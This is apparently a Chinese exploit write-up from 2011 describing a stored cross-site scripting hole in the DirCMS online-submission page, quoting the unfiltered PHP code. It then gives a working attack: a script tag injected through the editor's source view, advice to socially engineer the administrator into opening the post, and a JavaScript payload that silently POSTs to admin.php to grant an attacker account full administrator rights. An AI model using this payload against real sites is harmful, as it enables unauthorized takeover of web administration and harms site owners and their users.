发布日期:2011-01.28
发布作者:心灵
影响版本:未知
官方网站:www.dircms.net/
漏洞类型:跨站XSS
漏洞描述:
XSS漏洞文件:
http://127.0.0.1/post/index.php?catid=49
在线投稿功能
因为这样就不需要注册会员再发稿 免得很多站禁止注册会员
经典对白看代码
$info['content']=add_alt($info['content'],$info['title']); //////////////////////自动加 ALT标签 $info['title']=sub_string($info['title'],160,''); //标题 $info['keywords']=sub_string($info['keywords'],100,''); //关键字 $info['content']=stripslashes($info['content']); //这里是内容 没有使用sub_string过滤 $info['status']=in_array($_groupid,$passpriv) || $_groupid==1?1:0;
再看 sub_string
function sub_string($string, $length, $dot='') { $string=trim($string); $strlenstrlen = strlen($string); if($strlen <= $length) return $string; $string = str_replace(array(' ', '&', '"', ''', '“', '”', '—', '<', '>', '·', '…'), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string); //这里做了转义 -0-! 要是标题没转换更好。。。。。。
利用方法 在FCKEDIT里点源代码
然后写 <script src="http://127.0.0.1/1.js" </script>
这里简单 不明白的拿块豆腐自杀好了
然后等待管理员查看投稿的文章 (这个你可以社工他) 就会触发XSS攻击
远程JS里写 当然 内容限制长度是500 也可以不用调用远程直接写进去可以了
var oReq = new ActiveXObject("MSXML2.XMLHTTP"); var str = "do_submit=1&newadmin[username]=t00ls&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0"; 3 oReq.open("POST","http://127.0.0.1/admin.php?file=admin&action=add",false); oReq.setRequestHeader("Content-Length",str.length); oReq.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded"); oReq.send(str);
newadmin[username]=t00ls 为会员注册账号 既可提升到管理员权限
标签分类: